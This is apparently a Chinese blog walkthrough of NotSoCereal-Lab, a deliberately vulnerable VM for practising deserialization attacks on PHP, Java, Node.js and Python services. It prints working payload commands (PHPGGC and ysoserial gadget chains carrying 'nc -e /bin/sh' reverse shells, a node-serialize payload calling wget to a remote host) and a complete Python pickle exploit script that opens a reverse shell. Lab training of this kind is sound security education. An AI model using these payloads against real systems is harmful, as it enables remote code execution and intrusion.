反序列化 反射(反序列化的作用)

项目介绍

反序列化问题是信息安全的最新趋势,它们因臭名昭著的Java反序列化错误而声名鹊起,然而这些问题不仅仅局限于一种语言,序列化和反序列化是几乎所有现代编程语言中执行的常见操作,尽管这些问题臭名昭著,但却严重缺乏磨练你这方面技能的平台,于是NotSoCereal-Lab孕育而生,它是一个反序列化平台,用于训练你的反序列化操作能力,目前已经创建了支持以下语言的环境:

  • Java  

  • PHP  

  • Python  

  • Node

项目地址

项目地址:https://github.com/NotSoSecure/NotSoCereal-Lab

靶机部署

靶机下载:https://binary.notsosecure.com/NotSoCereal_2022.ova

Step 1:下载OVA文件,并尝试使用“文件->导入设备”选项将其导入

反序列化 反射(反序列化的作用)

Step 2:选择下载的OVA文件“NotSoCereal _ v1.0.ova”的路径

反序列化 反射(反序列化的作用)

Step 3:观察\\”描述\\”中的凭证,然后单击导入按钮

反序列化 反射(反序列化的作用)

Step  4:成功导入

反序列化 反射(反序列化的作用)

Step 5:点击\\”开始\\”按钮启动NotSoCereal虚拟机

反序列化 反射(反序列化的作用)

Step 6:虚拟机将启动并要求凭据

反序列化 反射(反序列化的作用)

Step 7:输入在步骤3中捕获的凭据,并执行以下命令来启动易受攻击的应用程序的docker

cd docker./start.sh

反序列化 反射(反序列化的作用)

Step 8:捕获\\”eth0\\”接口分配的IP地址

反序列化 反射(反序列化的作用)

Step  9:使用IP地址访问应用程序

反序列化 反射(反序列化的作用)

靶机实战

PHP反序列化

Step 1:点击\\”PHP Website:16664\\”

反序列化 反射(反序列化的作用)

Step 2:提供必要的信息并点击\\”提交\\”按钮

反序列化 反射(反序列化的作用)

Step 3:在Burp Suite代理中捕获请求,并观察\\”csrftoken\\”参数包含Base64数据

反序列化 反射(反序列化的作用)

Step 4:使用Base64解码该值,并标识序列化数据

反序列化 反射(反序列化的作用)

Step 5:将步骤3中捕获的请求发送到repeat模块

反序列化 反射(反序列化的作用)

Step 6:从以下位置下载PHPGGC实用程序并生成序列化的有效负载,并捕获生成的有效负载

https://github.com/ambionics/phpggc

./phpggc -b slim/rce1 system id

反序列化 反射(反序列化的作用)

Step 7:将步骤5中捕获的请求的参数\\”csrftoken\\”中使用步骤6中生成的有效负载替换,并发送请求

反序列化 反射(反序列化的作用)

Step 8:使用以下命令启动监听器

nc -nlvp 6666

反序列化 反射(反序列化的作用)

Step 9:使用以下命令捕获系统IP地址,并使用该地址生成反向shell的有效负载,并捕获有效负载

./phpggc -b slim/rce1 system \\\"nc 192.168.29.88 6666 -e /bin/sh\\\"

反序列化 反射(反序列化的作用)

Step 10:替换有效载荷

反序列化 反射(反序列化的作用)

Step 11:之后成功收到返回的会话

反序列化 反射(反序列化的作用)

JAVA反序列化

Step 1:点击\\”Java Website: 16661\\”链接

反序列化 反射(反序列化的作用)

Step  2:提供以下凭证并勾选\\”记住我\\”选项,然后单击\\”提交\\”按钮

Username: adminPassword: password

反序列化 反射(反序列化的作用)

Step 3:之后使用Burpsuite抓包并发送请Repeat模块

反序列化 反射(反序列化的作用)

Step 4:之后发送请求数据包,可以看到响应中具有以\\”rO0\\”开头的Java序列化神奇字符串

反序列化 反射(反序列化的作用)

Step 5:使用Base64解码后观察它的序列化值

反序列化 反射(反序列化的作用)

Step 6:转发步骤3中捕获的请求,并单击\\”登录\\”按钮

反序列化 反射(反序列化的作用)

Step 7:从以下位置下载YSoSerial实用程序,并使用以下命令检查可用的有效负载

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

java -jar ysoserial-master-SNAPSHOT.jar

反序列化 反射(反序列化的作用)

Step 8:使用以下命令捕获IP地址并使用它来生成反向shell有效负载,并捕获生成的有效负载

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 \\\"nc 192.168.29.88 4444 -e /bin/bash\\\" | base64 -w 0

反序列化 反射(反序列化的作用)

Step 9:使用以下命令启动监听

nc -nlvp 4444

反序列化 反射(反序列化的作用)

Step 10:在\\”RememberMe\\”参数中替换步骤8中生成的有效负载,并单击\\”send\\”按钮向服务器发送请求

反序列化 反射(反序列化的作用)

Step 10:之后接收到反弹的shell

反序列化 反射(反序列化的作用)

Node反序列化

Step 1:点击\\”Node Website: 16663\\”链接

反序列化 反射(反序列化的作用)

Step 2:填写表单信息并提交

反序列化 反射(反序列化的作用)

Step 3:捕获通信数据包

反序列化 反射(反序列化的作用)

Step 4:观察CSRFToken

反序列化 反射(反序列化的作用)

Step 5:发送请求到repeat模块

反序列化 反射(反序列化的作用)

Step 6:使用以下信息创建node.js序列化负载

{\\\"rce\\\":\\\"_$$ND_FUNC$$_function (){\\\\n \\\\t require(\\\'child_process\\\').exec(\\\'wget http://192.168.X.206:9999/test /\\\',function(error, stdout, stderr) {console.log(stdout) });\\\\n }()\\\"}

反序列化 反射(反序列化的作用)

Step 7:开启一个监听

反序列化 反射(反序列化的作用)

Step 8:替换载荷并重新发行请求

反序列化 反射(反序列化的作用)

Step 9:之后成功接收到反弹的shell

反序列化 反射(反序列化的作用)

Python反序列化

Step 1:点击\\”Python: Connect over TCP Socket: 16662\\”

反序列化 反射(反序列化的作用)

Step 2:访问地址

反序列化 反射(反序列化的作用)

Step 3:开启本地监听

nc -nlvp 5555

反序列化 反射(反序列化的作用)

Step 4:之后使用以下脚本生成载荷

    #!/usr/bin/env python#payload.pyimport pickleimport socketimport osimport sys
    if len(sys.argv) < 5: print \\\"Usage: python py_exploit.py <attacker_ip_address> <attacker_port> <docker_ip_address> <docker_port>\\\" sys.exit(1)
    localIP=sys.argv[1] localPort=sys.argv[2]dockerIP=sys.argv[3]dockerPort=sys.argv[4]

    class payload(object): def __reduce__(self): comm = \\\"rm /tmp/shell; mknod /tmp/shell p; nc \\\"+localIP+\\\" \\\"+localPort+\\\" 0</tmp/shell | /bin/sh 1>/tmp/shell\\\" return (os.system, (comm,))
    payload = pickle.dumps( payload())soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)soc.connect((dockerIP, int(dockerPort)))print soc.recv(1024) soc.send(payload)

    Step 5:执行脚本

    python py_exploit.py 192.168.29.88 5555 192.168.29.201 16662

    Step 6:之后收到反弹的shell

    原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34368.html

    Like (0)
    七芒星实验室的头像七芒星实验室
    Previous 2024年4月16日
    Next 2024年4月16日

    相关推荐

    发表回复

    您的邮箱地址不会被公开。 必填项已用 * 标注